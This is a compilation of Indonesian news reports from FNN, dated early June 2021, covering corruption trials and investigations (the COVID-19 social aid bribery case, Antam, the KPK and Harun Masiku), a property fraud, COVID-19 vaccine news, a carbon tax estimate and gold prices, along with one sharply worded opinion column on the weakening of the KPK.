Jakarta, FNN - Ketua majelis hakim Muhammad Damis mengancam Agustri Yogasmara untuk ditahan seusai bersaksi di persidangan karena memberikan keterangan yang tidak jujur. "Ini peringatan kedua kepada saksi agar saksi memberikan keterangan yang benar, bersungguh-sungguh, tidak usah melindungi seseorang dalam perkara ini agar saudara selamat, jika tidak beri keterangan yang tidak benar diancam minimal 3 tahun penjara dan maksimal 12 tahun," kata Damis di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Rabu. Damis menyampaikan hal tersebut kepada Agustri Yogasmara alias Yogas yang menjadi saksi untuk dua terdakwa yaitu mantan Kepala Biro Umum Kementerian Sosial Adi Wahyono dan Pejabat Pembuat Komitmen (PPK) bansos sembako COVID-19 Matheus Joko Santoso yang didakwa bersama-sama dengan eks Menteri Sosial Juliari Batubara menerima suap sebesar Rp32,482 miliar dari 109 perusahaan penyedia bansos. "Saya bisa meminta panitera menurut ketentuan hukum acara bahwa boleh saudara tidak pulang malam ini karena bila dua terdakwa ini mengatakan hal yang berbeda dengan saudara akan jadi urusan, berapa banyak orang di sini yang saudara bohongi," tambah Damis. Dalam sidang untuk terdakwa Juliari pada Senin (31/5) Adi Wahyono mengatakan Yogas adalah pemilik jatah 400 ribu paket untuk paket bansos ke-7 hingga ke-12 bersama-sama dengan mantan Wakil Ketua Komisi VIII DPR dari fraksi PDIP Ihsan Yunus dan adik Ihsan Yunus bernama Muhamad Rakyan Ikram alias Iman Ikram. "Jangan hanya karena ingin menyelamatkan seseorang lalu mencelakakan diri sendiri, mekanisme untuk keterangan palsu di sidang tinggal kami selesaikan berita acara pemeriksaan lalu kirim ke penuntut umum kemudian sudah selesai, tidak panjang urusannya, saya ingatkan saudara," tegas Damis. Yogas yang dalam pelaksanaan bansos pada periode April-November 2020 masih bekerja sebagai "Senior Asisstant Vice President" Bank Muamalat Indonesia itu hanya mengakui dirinya sebagai perantara. "Saat itu saya hanya menawarkan ayam dalam kemasan, tapi ditolak oleh Pak Adi karena tidak ada di pasaran," kata Yogas. Yogas juga mengaku menawarkan untuk menyediakan biskuit tanpa merek untuk ibu menyusui, alat kesehatan, hingga beras ke Kemensos. "Sales seharusnya bisa memperkenalkan produk kok ini tidak bisa memperkenalkan merek barangnya. Saudara sales atau broker kalau benar menawarkan beras, beras apa? Kan ada mereknya saat diambil?" tanya jaksa penuntut umum (JPU) KPK M Nur Azis. "Beras medium, beras koperasi petani Cianjur," jawab Yogas tanpa menyebut merek beras tersebut. Yogas juga mengaku sempat menawarkan goodybag dari PT Perca milik Ikram serta susu dari PT Indoguardika. "Kan aneh lagi, ada barang baru lagi tadi sarden, biskuit, beras, alat kesehatan, susu, sebenarnya broker apa sih?" tanya jaksa Azis. "Palugada Pak," jawab Yogas.

Korupsi Bansos, Pengusaha Bakso Kembalikan 1,6 Miliar ke Kemensos

Jakarta, FNN - Direktur CV Bahtera Asa Riski Riswandi menyebut perusahaannya mengembalikan Rp1,6 miliar sebagai kelebihan bayar pengadaan paket bantuan sosial sembako COVID-19 di Kementerian Sosial. "Sudah dikembalikan seluruhnya Rp1,6 miliar ke bendahara kementerian karena ada kelebihan bayar," kata Riski di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Rabu. Riski menyampaikan hal tersebut kepada Agustri Yogasmara alias Yogas yang menjadi saksi untuk dua terdakwa yaitu mantan Kepala Biro Umum Kementerian Sosial Adi Wahyono dan Pejabat Pembuat Komitmen (PPK) bansos sembako COVID-19 Matheus Joko Santoso yang didakwa bersama-sama dengan eks Menteri Sosial Juliari Batubara menerima suap sebesar Rp32,482 miliar dari 109 perusahaan penyedia bansos. Kelebihan itu menurut Riski berdasarkan pemeriksaan oleh Badan Pengawasan Keuangan dan Pembangunan (BPKP) saat melakukan audit untuk tujuan tertentu. "Saat itu menurut BPKP ada kelebihan pembayaran karena paket yang saya tawarkan," ungkap Riski. CV Bahtera Asa disebut Riski mengerjakan paket untuk pengadaan tahap 1 di Jakarta, tahap 2 di Bodetabek, tahap 3 dan tahap komunitas sebanyak 170.424 paket. "Di BAP Nomor 6 saudara mengatakan paket-paket yang dikerjakan Bahtera Asa adalah milik saudara Kukuh?" tanya jaksa penuntut umum KPK. "Rekomendasi dari Kukuh, setahu saya dia staf ahli menteri," jawab Riski. Kukuh yang dimaksud adalah Kukuh Ary Wibowo selaku tim teknis bidang komunikasi Menteri Sosial Juliari Batubara. "Tidak ada fee yang diberikan ke Kukuh dari saya," ungkap Riski. Riski hanya mengaku memberikan Rp140 juta kepada Matheus Joko di ruang ULP Kementerian Sosial. "Saya berikan Rp140 juta sekali, yang menyerahkan saya sendiri karena Pak Joko pernah minta perhatian buat anak-anak yang kerja," tambah Riski. (ant)

Kejagung Tangkap 4 Tersangka Anak Perusahaan Antam

Jakarta, FNN - Kejaksaan Agung (Kejagung) menahan empat dari enam tersangka perkara dugaan tindak pidana korupsi penyimpangan dalam proses pengalihan izin usaha pertambangan (IUP) batubara seluas 400 hektare di Kabupaten Sarolangun, Jambi, dari anak perusahaan PT Antam Tbk. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejagung Leonard Eben Ezer Simanjuntak, Rabu malam, mengatakan, keempat tersangka yang ditahan adalah AL selaku Direktur Utama PT Antam Tbk periode 2008-2013, HW selaku Direktur Operasional PT Antam Tbk, BM selaku mantan direktur utama PT ICR periode 2008-2014 dan MH selaku komisaris PT Tamarona Mas Internasional periode 2009-sekarang. "Tim penyidik telah menetapkan para tersangka untuk dilakukan penahanan selama 20 hari terhitung sejak 2 Juni 2021 sampai dengan 21 Juni 2021 ditempatkan di Rutan Salemba cabang Kejagung tiga orang dan satu orang di Kejaksaan Negeri Jakarta Selatan," kata Leonard. Sebelum melakukan penahanan Tim Penyidik Jaksa Agung Muda Tindak Pidana Khusus (Jampidsus) terlebih dahulu melakukan pemeriksaan terhadap enam orang, empat di antaranya tersangka dan dua orang sebagai saksi. Dua orang saksi yang diperiksa, yakni BT selaku karyawan PT Antam Tbk dan DM selaku senior manajer legal PT Antam Tbk 2007-2019. Keenam orang tersebut diperiksa terkait mekanisme/Standard Operating Procedure (SOP) akuisisi PT. Citra Tobindo Sukses Perkasa (CTSP) oleh PT. Indonesia Coal Resources (ICR) anak perusahaan PT Antam Tbk. Leonard menyebutkan, dalam perkara dugaan tindak pidana korupsi ini, penyidik telah menetapkan enam orang tersangka. "Hari ini yang hadir empat orang tersangka. Dua orang tidak hadir," kata Leonard. Dua orang tersangka yang tidak hadir tersebut, yang pertama tersangka AT selaku Direktur Operasional PT. Indonesia Coal Resources (ICR) dan tersangka MT pihak penjual saham atau direktur PT CTSP (pihak penjual). "Alasan tidak hadir satu karena sakit, yang satunya belum ada keterangan. Pemeriksaan kepada yang bersangkutan akan dilanjutkan pada minggu depan," kata Leonard. Dalam perkara ini, dilakukan perjanjian jual beli saham pada tanggal 12 Januari 2011, tersangka MH mendapat pembayaran sebesar Rp35 miliar dan tersangka MT mendapatkan pembayaran Rp56,5 miliar. Sebelumnya, tersangka BM melakukan pertemuan dengan tersangka MT selaku penjual (kontraktor batubara) pada tanggal 10 November 2010 dan telah ditentukan harga pembelian yaitu Rp. 92,5 miliar padahal belum dilakukan 'due dilligence'. Lalu pada 19 November 2010 di Jakarta dilaksanakan MOU antara PT. ICR-PT. CTSP-PT.TMI-PT. RGSR dalam rangka akuisisi saham PT. CTSP yang memiliki IUP dengan luas lahan 400 hektare. Tersangka BM dan tersangka ATY tidak pernah menunjukkan IUP asli atas lahan tambang batubara yang menjadi objek akuisisi. Perbuatan tersangka BM bersama-sama dengan tersangka ATY, saksi AA, tersangka HW, tersangka MH dan tersangka MT tersebut telah sebagaimana hasil audit Kantor Akuntan Publik (KAP) Pupung Heru merugikan keuangan negara sebesar Rp. 92,5 miliar. Keenam tersangka dikenakan pasal primair Pasal 2 ayat (1) jo. Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo. Pasal 55 ayat (1) ke-1 KUHP. Subsidair Pasal 3 jo. Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo. Pasal 55 ayat (1) ke-1 KUHP. (ant)

Polisi Surabaya Ungkap Penipuan Investasi Properti Smartkost

Surabaya, FNN - Aparat Kepolisian Resor Kota Besar (Polrestabes) Surabaya mengungkap kasus penipuan investasi properti dengan konsep "Smartkost" yang dikelola oleh pengembang PT Indo Tata Graha. Wakil Kepala Satuan Reserse Kriminal Polrestabes Surabaya Komisaris Polisi (Kompol) Ambuka Yudha menjelaskan investasi tersebut ditawarkan sejak tahun 2018 seharga Rp1,2 miliar per unit. "Lokasinya cukup strategis, yaitu di kawasan Mulyosari Surabaya, yang dekat dengan sejumlah kampus ternama," katanya kepada wartawan di Surabaya, Rabu sore. Sebanyak sebelas orang yang telah membeli dengan cara mengangsur dan sebagian telah melunasi merasa tertipu karena hingga kini unit "Smartkost" yang dijanjikan tidak pernah terealisasi. Menurut penyelidikan polisi, lahan untuk pembangunan "Smartkost" di wilayah Mulyosari hingga kini masih belum menjadi hak milik pengembang PT Indo Tata Graha. Direktur PT Indo Tata Graha Dadang Hidayat pun ditangkap, dan polisi telah menetapkannya sebagai tersangka kasus penipuan. "Perusahaannya resmi bergerak di bidang pengembang properti. Sebelumnya juga pernah bangun perumahan. Tetapi ketika dia menawarkan 'Smartkost' di Mulyosari ini tidak sesuai dengan yang dijanjikan," ucap Kompol Yudha. Sementara itu, tersangka Dadang berdalih pembangunan "Smartkost" terkendala masalah sengketa tanah. Semula dia menjanjikan serah terima kunci terhadap para pembeli dalam jangka waktu dua tahun terhitung sejak pertama kali dipasarkan tahun 2018. "Kami menerima gugatan di lahan tersebut. Dampaknya proses sertifikat dan perizinan tidak berjalan dengan baik sehingga kami tidak bisa membangun," katanya. Penyidik Polrestabes Surabaya menghitung total kerugian yang diderita oleh sebanyak 11 pembeli yang menjadi korbannya sebesar Rp11,3 miliar. Polisi menduga masih banyak pembeli lain yang menjadi korbannya dan diimbau segera melapor ke Polrestabes Surabaya. (ant)

KPK Akan Tindaklanjuti Informasi Keberadaan Harun Masiku di Indonesia

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menindaklanjuti adanya informasi yang menyebut mantan Caleg PDIP Harun Masiku (HM) berada di Indonesia. "Kemudian mungkin beberapa waktu lalu ada informasi bahwa dia (Harun) masuk ke sini, ada yang menyampaikan seperti itu. Ya tentunya informasi itu kami tindak lanjuti," kata Plh Deputi Penindakan dan Eksekusi KPK Setyo Budiyanto di Gedung KPK, Jakarta, Rabu. Harun adalah tersangka kasus dugaan suap terkait penetapan Anggota DPR RI terpilih Tahun 2019-2024 yang sudah berstatus Daftar Pencarian Orang (DPO) sejak Januari 2020 tersebut. "Jadi, DPO itu sudah terbit sejak 17 Janauri 2020, kemudian ditindaklanjuti lagi ada juga proses pencegahan (ke luar negeri) kemudian pencegahan karena ada mekanismenya sampai dua kali maka tidak bisa kami lanjutkan yang ketiga," kata dia. Merujuk Pasal 97 Undang-Undang Nomor 6 Tahun 2011 tentang Keimigrasian bahwa jangka waktu pencegahan berlaku paling lama 6 bulan dan dapat diperpanjang paling lama 6 bulan. KPK telah memperpanjang pencegahan terhadap Harun sebanyak dua kali, yang terakhir terhitung sejak 10 Juli 2020 sampai dengan 6 bulan ke depan. Setyo menyatakan sejak diterbitkannya DPO terhadap Harun sampai pencegahan ke luar negeri, pihaknya juga tetap berusaha mencari keberadaan Harun, salah satunya menggeledah beberapa tempat di wilayah Sulawesi Selatan. "Tetapi di antara proses itu namanya melakukan pencarian berusaha untuk mengetahui posisinya di mana. Ya tentu sekali lagi kami mohon maaf itu tidak pernah dipublikasikan memang kecuali kegiatan yang sifatnya terbuka seperti penyidik melakukan penggeledahan di beberapa tempat di wilayah Sulawesi Selatan, mungkin itu terpublikasi kegiatannya tetapi kemudian mencari informasi dan lain-lain sebenarnya sifatnya adalah "silent", ujar Setyo. Sebelumnya diinformasikan, KPK telah mengirimkan surat ke National Central Bureau (NCB) Interpol Indonesia agar dapat menerbitkan "red notice" terhadap Harun. "Sebagai salah satu langkah nyata KPK untuk segera mencari dan menemukan keberadaan DPO atas nama HM, Senin (31/5), KPK telah mengirimkan surat ke National Central Bureau (NCB) Interpol Indonesia agar dapat diterbitkan "red notice", kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Rabu. Upaya tersebut, kata Ali, dilakukan agar DPO segera ditemukan sehingga proses penyidikan kasus dengan tersangka Harun tersebut dapat segera diselesaikan. (ant)

Efendi Simbolon Tepis PT TMI Makelar Pengadaan Alutsista

Jakarta, FNN - Anggota Komisi I DPR RI Effendi Simbolon mengatakan Menteri Pertahanan (Menhan) Prabowo Subianto dalam rapat kerja dengan Komisi I DPR, Rabu, menjelaskan peran PT Teknologi Militer Indonesia (TMI) bukanlah broker (makelar) dalam pengadaan alat utama sistem senjata (alutsista) TNI senilai Rp1.760 triliun. "Beliau menjelaskan terkait PT TMI, disebutkannya dibentuk hanya untuk membantu Kemhan melakukan studi. Namun informasi yang berkembang PT TMI bertindak sebagai broker namun Menhan menjamin tidak akan terjadi," kata Effendi di Kompleks Parlemen, Jakarta, Rabu. Effendi mengatakan, Menhan menjamin bahwa PT TMI tidak akan menjadi broker tetapi hanya akan menjadi konsultan. Menurut dia, dirinya juga meminta penjelasan Menhan terkait informasi bahwa orang-orang dekat Menhan masuk dalam jajaran komisaris di PT TMI. "Tadi juga kami tanyakan terkait apakah ini hanya ada kepentingan partai tertentu dan kolega kedekatan. Menhan mengatakan tidak ada, (PT TMI) kebetulan orang yang sudah pensiun dan para pakar," ujarnya. Effendi mengatakan Prabowo mengaku hanya kebetulan ada koleganya di Gerindra menjabat komisaris di PT TMI. Prabowo mengatakan, para kader Gerindra ini menjabat sebagai petinggi PT TMI karena latar belakang pensiunan militer dan pakar. "Kita konfirmasi juga, apakah ini hanya ada kepentingan partai tertentu ada kolega kedekatan, beliau bilang enggak. Ini kebetulan saja mereka pensiunan para pakar, jadi tidak ada kaitan," katanya. (ant)

Mengapa KPK Menjadi Target

KALAU Presiden Joko Widodo (Jokowi) dan para pemimpin partai politik serius mau membasmi korupsi, mereka pasti akan memperkuat Komisi Pemberantasan Korupsi (KPK). Tetapi, yang mereka lakukan adalah kebalikannya. Mereka melumpuhkan dan bahkan membunuh lembaga antikorupsi itu. Jadi, wahai rakyat yang selalu saja menjadi korban kerakusan oligarki busuk (oligarki busuk itu termasuklah para pemegang kuasa tertinggi di eksekutif dan legislatif), Anda semua tidak perlu berkerut memikirkan mengapa negara ini terpuruk terus. Penyebabnya, para elit begundal. Mereka itu berpura-pura ingin menegakkan keadilan dan memakmurkan rakyat, tetapi sesungguhnya mereka hanya memikirkan diri sendiri. Hanya memikirkan keluarga dan dinasti mereka. Kalaupun lebih dari memikirkan diri sendiri dan keluarga, paling banter mereka memikirkan kelompok. Ketika tempohari korupsi merajalela dan dianggap sebagai kejahatan luar biasa (extraordinary crimes), semua pihak sepakat membentuk antikorupsi dengan wewenang yang luar biasa pula. Waktu itu, dan sampai sekarang, kepolisian serta kejaksaan dinilai punya banyak masalah untuk memberantas korupsi. Kedua lembaga tersebut tidak bisa diandalkan dan tidak bisa dipercaya mengurusi kasus-kasus korupsi. Lembaga khusus antikorupsi adalah satu-satunya solusi. Digagaslah KPK semasa Presiden Megawati Soekarnoputri. Dibentuk pada 2002 berdasarkan UU No. 30 Tahun 2002. Kekuasaan lembaga ini untuk memberantas korupsi sangat besar. Sering dijuluki “superbody”. Independen dan bebas dari intervensi siapa pun. Ideal sekali. Semua orang bersemangat. Indonesia bakal bersih dari para pencoleng. KPK menjadi populer. Menjadi harapan rakyat untuk membasmi korupsi. Ketika KPK berhasil memborgol para koruptor dalam OTT (operasi tangkap tangan), publik senang sekali. Banyak bupati dan walikota diangkut ke Jakarta, diadili, kemudian dijebloskan ke penjara. Tapi, belakangan ini KPK mulai dirasakan mengganggu kepentingan partai-partai politik dan para individu yang terbiasa mendulang uang korupsi. KPK semakin menggelisahkan orang-orang yang selama ini ‘cari makan’ dan kekayaan lewat korupsi. Lembaga ini pun dimusuhi oleh DPR dan pemerintah. Apalagi, setelah OTT KPK menyasar para pejabat eksekutif sampai ke jenjang menteri. Menangkap pejabat legislatif hingga ke level Ketua DPR. Memborgol pejabat yudikatif sampai ke tingkat Ketua MK. KPK dianggap sebagai ancaman oleh banyak pihak, terutama para pemilik parpol busuk. Mereka gerah dan was-was mengamati lembaga antikorupsi itu. Tidak ketinggalan, yang ikut gelisah adalah para pemilik bisnis yang terbiasa menempuh jalan pintas dengan sogok-menyogok. Alhasil, KPK dibenci. Dimusuhi semua orang. Para musuh KPK itu jelaslah para penjahat dan perampok. Mereka inilah yang bekerja keras melumpuhkan KPK. Hari ini, target mereka telah tercapai melalui berbagai cara. Dimulai dari revisi UU KPK. Struktur KPK dirombak. Dibentuk Dewan Pengawas (Dewas) sebagai organ penentu. OTT tidak bisa lagi mudah dilakukan. Sekarang, pimpinan KPK bahkan bisa menerbitkan SP3 (Surat Perintah Penghentian Penyidikan). Sjamsul Nursalim, koruptor besar, adalah orang pertama yang menikmati SP3 KPK. Ke depan, diperkirakan akan banyak yang melobi penghentian perkara. Bisa saja nanti SP3 menjadi tambang duit. Status pegawai KPK dialihkan menjadi aparatur sipil negara (ASN). Mereka tidak lagi independen, dan tidak lagi luar biasa. Tak lagi bergigi. KPK sekarang berada di bawah penguasaan eksekutif. Pekerjaan mereka bisa disetir. Apa argumentasi kuat perubahan status pegawai KPK menjadi ASN? Tidak ada. Tujuannya satu: dengan status ASN itu, maka semua orang di lembaga ini bisa dikendalikan oleh presiden, para menteri, dan orang-orang kuat lainnya. Tapi, ada 75 orang yang tidak bisa dikendalikan. Mereka dinyatakan tak lulus tes wawasan kebangsaan (TWK). Inilah tes dagelan yang isi dan eksekusinya tidak sedikit pun menunjukkan eksistensi intelektualitas (kecendekiaan) para perancangnya. Para pegawai KPK dites dengan pertanyaan-pertanyaan yang tidak ada kaitannya dengan tugas pemberantasan korupsi. Ada pertanyaan tentang FPI, HTI, tentang Habib Rizieq Syihab, tentang pacaran, tentang mau nikah atau tidak, tentang LGBT (lesbian, gay, biseks dan transgender), tentang aliran agama, dan pertanyaan-pertanyaan sampah lainnya. Tes seperti ini bukan hanya tidak beradab, tetapi juga biadab. Semua ini dilaksanakan untuk menyingkirkan 75 staf yang beritegritas, non-kompromis terhadap koruptor. Ke-75 orang itu dinyatakan tidak lulus. Padahal, mereka sudah bertugas belasan tahun. Apa dasar para penguji itu memutuskan mereka tidak memiliki wawasan kebangsaan? Baseless. Tak berdasar. Kalangan pengamat politik berpendapat Ketua KPK Firli Bahuri ditengarai sengaja menyingkirkan ke-75 orang yang tidak bisa diajak kompromi itu. Semua itu dilakukan untuk memuluskan agenda jahat elit garong. Bebas merdekalah para koruptor dan calon-calon perampok uang rakyat. Kepada Pak Sujanarko, Novel Baswedan, Andre Nainggolan, Harun Al-Rasyid (Si Raja OTT), Herbert Nababan, Juliandi Tigor Simanjuntak, Yudi Purnomo, dan sederet nama lainnya, Anda telah berjuang sekuat tenaga. Well done. You did your best untuk negara ini. Hari ini Anda terjungkal. Besok-lusa tidak ada yang tahu. Tetapi, rakyat tahu pasti dan mencatat siapa-siapa saja yang berkhianat. **

Hindari Covid19 Varian Baru, Foshan dan Guangzhou Ditutup Total

Beijing, FNN - Foshan menjadi kota kedua di Provinsi Guangdong, China, yang ditutup total atau lockdown setelah Kota Guangzhou. Warga yang tinggal di Distrik Chancheng dan Distrik Nanhai harus menjalani karantina sejak Selesa (1/6), demikian pengumuman Pemerintah Kota Foshan. Mereka juga dilarang mengikuti pertemuan, mendatangi gedung bioskop, tempat kebugaran, dan bar yang memang juga sudah ditutup sementara. Pembatasan di Foshan dilakukan setelah Guangzhou memperketat kebijakan lockdown sebagai upaya mengatasi penyebaran COVID-19 varian terbaru. Pada Senin (31/5), Provinsi Guangdong melaporkan 10 kasus domestik dan dua kasus tanpa gejala. Foshan sendiri mendapatkan dua kasus baru dan satu kasus tanpa gejala. Foshan dan Guangzhou merupakan pusat karantina terbesar di wilayah selatan China bagi para pengguna pelayanan penerbangan internasional sebelum melanjutkan perjalanan ke berbagai kota lainnya. Dewan Pemerintahan China telah membentuk satuan tugas khusus untuk memberikan supervisi kebijakan penanganan COVID-19. Bandar Udara Internasioal Baiyun di Guangzhou sebagai salah satu bandara tersibuk di dunia sempat membatalkan 30 persen jadwal penerbangannya seiring dengan terus bertambahnya kasus COVID-19 dalam beberapa hari terakhir. (ant)

Israel Lihat Kaitan Vaksin Pfizer dan Kasus Radang Jantung Pria Muda

Yerusalem, FNN - Kementerian Kesehatan Israel mengatakan pada Selasa (1/6) bahwa pihaknya menemukan kemungkinan hubungan sejumlah kecil kasus peradangan jantung yang diamati terutama pada pria muda yang menerima vaksin COVID-19 Pfizer di Israel dengan vaksinasi mereka. Pfizer mengatakan belum mengamati tingkat kondisi yang lebih tinggi, yang dikenal sebagai miokarditis, daripada yang biasanya diperkirakan pada populasi umum. Pada Selasa, perusahaan farmasi itu belum menanggapi permintaan komentar. Di Israel, 275 kasus miokarditis dilaporkan antara Desember 2020 dan Mei 2021 di antara lebih dari lima juta orang yang divaksinasi, kata kementerian itu, saat mengungkapkan temuan penelitian yang ditujukan untuk memeriksa masalah tersebut. Sebagian besar pasien yang mengalami radang jantung menghabiskan tidak lebih dari empat hari di rumah sakit dan 95 persen dari kasus mereka diklasifikasikan sebagai ringan, menurut penelitian, yang menurut kementerian dilakukan oleh tiga tim ahli. Studi tersebut menemukan "ada kemungkinan hubungan antara menerima dosis kedua (dari vaksin Pfizer) dan munculnya miokarditis di antara pria berusia 16 hingga 30 tahun," kata kementerian dalam sebuah pernyataan. Menurut temuan, hubungan seperti itu diamati lebih banyak di antara pria berusia 16 hingga 19 tahun dibandingkan kelompok usia lainnya. Kelompok penasihat Pusat Pengendalian dan Pencegahan Penyakit (CDC) Amerika Serikat pada Mei merekomendasikan studi lebih lanjut tentang kemungkinan hubungan antara miokarditis dan vaksin mRNA, yang mencakup vaksin dari Pfizer dan Moderna Inc. Sistem pemantauan CDC tidak menemukan lebih banyak kasus daripada yang diperkirakan dalam populasi, tetapi kelompok penasihat itu mengatakan dalam pernyataan bahwa anggota merasa penyedia layanan kesehatan harus diberi tahu tentang laporan "potensi efek samping." Kementerian Israel merilis pernyataan, yang tidak berisi rekomendasi, menjelang keputusan yang diharapkan banyak orang tentang apakah anak-anak berusia 12 hingga 15 tahun di Israel akan mulai divaksinasi. Kementerian itu mengatakan tim yang memeriksa masalah tersebut akan membuat rekomendasinya kepada direktur jenderal kementerian, tetapi tidak menyebutkan tanggal. Laporan media Israel mengatakan keputusan untuk memasukkan kelompok usia 12-15 tahun dalam program vaksinasi negara itu bisa keluar paling cepat pada Minggu. Israel telah menjadi pemimpin dunia dalam peluncuran vaksinasi. Dengan infeksi COVID-19 turun dalam hanya beberapa hari dan total kasus aktif hanya 340 di seluruh negeri, ekonomi telah dibuka sepenuhnya, meskipun pembatasan tetap diterapkan pada wisatawan yang datang. Sekitar 55 persen dari penduduk Israel telah divaksin. Pada Selasa, pembatasan jarak fisik dan keharusan menunjukkan kartu khusus vaksinasi --tanda sudah divaksin-- untuk memasuki restoran dan tempat tertentu sudah dicabut. (ant)

AS Akan Distribusikan 80 Juta Dosis Vaksin Covid-19

Kosta Rika, FNN - Amerika Serikat dalam dua minggu ke depan akan mengumumkan langkah-langkahnya dalam menjual dan mendistribusikan 80 juta dosis vaksin COVID-19 yang telah dijanjikan secara global, kata Menteri Luar Negeri AS Antony Blinken, Selasa (1/6). Saat berbicara pada konferensi pers bersama dengan Presiden Kosta Rika Carlos Alvarado, Blinken mengatakan pemerintahan Presiden AS Joe Biden akan fokus pada distribusi imunisasi yang adil dan tidak mengacu pada ikatan politik dalam proses distribusi vaksin tersebut. Biden pada Senin (31/5) mengatakan pemerintahannya akan mengirim setidaknya 20 juta dosis vaksin buatan Pfizer Inc/BioNTech SE, Moderna Inc dan Johnson & Johnson, di luar 60 juta dosis AstraZeneca Plc yang telah dia rencanakan untuk diberikan ke negara-negara lain. "Suatu saat dalam dua pekan ke depan kami akan mengumumkan proses di mana kami akan mendistribusikan dan menjual vaksin-vaksin itu," kata Blinken selama kunjungan pertamanya ke Amerika Latin sebagai menteri luar negeri. Negara-negara Amerika Latin saat ini sedang berjuang untuk mengatasi wabah COVID-19. Blinken mengatakan pengumuman itu akan mengungkapkan kriteria dan detail proses dalam distribusi vaksin COVID-19. Pemerintahan Biden telah berada di bawah tekanan untuk membagikan vaksin guna membantu mengekang wabah yang memburuk dari India hingga Brazil, di mana para ahli kesehatan khawatir varian virus corona baru yang lebih menular dapat merusak efektivitas dari vaksin yang tersedia. Ketika prospek pengakhiran pandemi di Amerika Serikat semakin cerah dengan semakin majunya vaksinasi, janji bantuan pemberian vaksin merupakan inti dari upaya pemerintah AS untuk menggunakan pasokan vaksin negara itu sebagai alat untuk melawan diplomasi vaksin China dan Rusia. Presiden Kosta Rika Carlos Alvarado menekankan bahwa negaranya mengharapkan kabar yang cepat tentang distribusi vaksin. Sebelumnya pada Selasa (1/6), Bank Dunia mendesak Amerika Serikat untuk melepaskan kelebihan persediaan vaksinnya. (Reuters)

Potensi Pendapatan Pajak Karbon Capai Rp57 Triliun

Jakarta, FNN - Ekonom Bahana Sekuritas Satria Sambijantoro memperkirakan potensi pendapatan pajak karbon atau carbon tax pada tahun pertama implementasi akan mencapai sekitar Rp29 triliun sampai Rp57 triliun atau 0,2 persen sampai 0,3 persen dari PDB. Satria menyatakan potensi tersebut akan tercapai dengan asumsi tarif pajak yang dikenakan sekitar 5 dolar AS sampai 10 dolar AS per ton CO2 yang mencakup 60 persen emisi energi. “Indonesia mungkin mulai menerapkan pajak karbon sebesar 5 dolar AS sampai 10 dolar AS per ton CO2 di tahun pertama dengan pendapatan pajak yang dihasilkan mencapai Rp26 triliun sampai Rp57 triliun,” katanya di Jakarta, Rabu. Satria mengatakan secara global terdapat 61 kebijakan penetapan harga karbon yang telah dilaksanakan atau dijadwalkan di 46 yuridiksi nasional dan 32 sub-nasional dengan tarif berkisar antara 1 dolar AS sampai 119 dolar AS per ton CO2. Ia menyebutkan biasanya pendapatan yang dihasilkan digunakan untuk mendukung program energi bersih, menurunkan pajak dan mengkompensasi rumah tangga berpenghasilan rendah. Sementara di Indonesia, penerapan pajak karbon sepertinya cenderung mengadopsi model emission-trading system atau ETS mengingat kepastian harga dan implementasi yang lebih mudah untuk mendukung defisit anggaran. Berdasarkan studi Bank Dunia, pajak karbon domestik sebesar 30 dolar AS per ton CO akan mampu meningkatkan sumber daya lebih dari 1,5 persen terhadap PDB. Satria menjelaskan rencana menerapkan pajak karbon memiliki dampak positif seperti membantu normalisasi anggaran yakni defisit kembali ke level 3 persen pada 2023 dan mendukung upaya pengurangan emisi gas rumah kaca. Di sisi lain, rencana tersebut juga memiliki beberapa dampak negatif dalam jangka pendek seperti akan terjadi kenaikan harga energi yang pada akhirnya mempengaruhi konsumsi rumah tangga. Menurut perkiraan IMF, jika Indonesia menerapkan pajak karbon 75 dolar AS per ton CO2 maka harga energi rata-rata akan meningkat cukup besar seperti batu bara 239 persen, gas alam 36 persen, listrik 63 persen, dan bensin 32 persen. Tak hanya itu, ia mengatakan rincian struktur penerapan pajak karbon ini masih belum jelas meski pemerintah telah berencana untuk mengenakan pajak pada industri yang mengeluarkan karbon seperti pulp dan kertas, semen, pembangkit listrik serta petrokimia. Hal itu terjadi karena emisi CO2 per sektor justru didominasi oleh industri sebesar 37 persen, listrik 27 persen, dan sektor transportasi 27 persen dengan emisi CO2 mencapai 625 MtCO2 pada 2019. Meski demikian, Satria memperkirakan akan ada penambahan daftar industri yang terkena pajak karbon pada tahun depan seperti otomotif, minyak sawit, serta makanan dan minuman. “Meskipun ini mungkin memerlukan tinjauan komprehensif tentang emisi mereka dari Kementerian Lingkungan dan kemungkinan pengungkapan kepada Bursa Efek Indonesia,” ujarnya. (sws)

Emas Turun Tipis Yerseret Data Ekonomi Positif dan "Yield" Obligasi

Chicago, FNN - Emas menghapus keuntungan awal menjadi sedikit melemah pada akhir perdagangan Selasa (Rabu pagi WIB), karena data manufaktur Amerika Serikat yang kuat dan imbal hasil (yield) obligasi pemerintah yang lebih tinggi mengurangi daya tarik logam kuning, namun masih bertengger di atas level psikologis 1.900 dolar per ounce. Kontrak emas paling aktif untuk pengiriman Agustus di divisi Comex New York Exchange, turun tipis 30 sen atau 0,02 persen, menjadi ditutup pada 1.905 dolar AS per ounce. Akhir pekan lalu, Jumat (28/5/2021), emas berjangka terangkat 6,8 dolar AS atau 0,36 persen menjadi 1.905,30 dolar AS per ounce. Emas berjangka merosot 5,3 dolar AS atau 0,28 persen menjadi 1.898,50 dolar AS pada Kamis (27/5/2021), setelah menguat 3,2 dolar AS atau 0,17 persen menjadi 1.901,20 dolar AS pada Rabu (26/5/2021), dan melonjak 13,50 dolar AS atau 0,72 persen menjadi 1.898 dolar AS pada Selasa (25/5/2021). Pasar AS tutup pada Senin (31/5/2021) untuk libur Memorial Day. "Emas mengalami kemunduran kecil karena ekuitas AS terus menguat, imbal hasil obligasi mulai naik ... dan data manufaktur yang lebih baik," kata Phillip Streible, kepala strategi pasar di Blue Line Futures di Chicago. Investor mungkin berpikir bahwa Federal Reserve akan mengurangi kebijakan lebih cepat dari yang diperkirakan, tambahnya. 